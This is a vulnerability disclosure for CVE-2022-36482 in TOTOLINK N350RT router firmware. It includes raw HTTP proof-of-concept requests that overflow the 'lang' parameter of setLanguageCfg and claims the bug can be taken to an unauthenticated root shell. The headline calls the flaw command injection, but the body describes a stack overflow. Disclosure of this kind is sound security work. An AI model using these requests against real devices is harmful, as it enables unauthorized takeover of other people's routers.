Headline
CVE-2022-36482: vuln/TOTOLINK/N350RT/6 at main · Darry-lang1/vuln
TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a command injection vulnerability via the lang parameter in the function setLanguageCfg.
TOTOLink N350RT V9.3.5u.6139_B20201216 Has an command injection vulnerability****Overview
- Manufacturer’s website information:https://www.totolink.net/
- Firmware download address : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.html
Product Information
TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview:
Vulnerability details
Var is formatted into V7 through sprintf function, and Var is the value of Lang we enter. The size of the format string is not limited, resulting in stack overflow.
Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 561 Origin: http://192.168.0.1 DNT: 1 Connection: close Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache
{"topicurl": "setting/setLanguageCfg","lang": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
Although it returns a status of 200, there is another way to see if the target code was successfully executed.
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 25
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
{"topicurl":"getInitCfg"}
The above report verifies that our target code was successfully executed.
From the figure above, we can see that defaultLang has been modified by us to show that our target code has been executed.
As shown in the figure above, we can hijack PC registers.
Finally, you can write exp to get a stable root shell without authorization.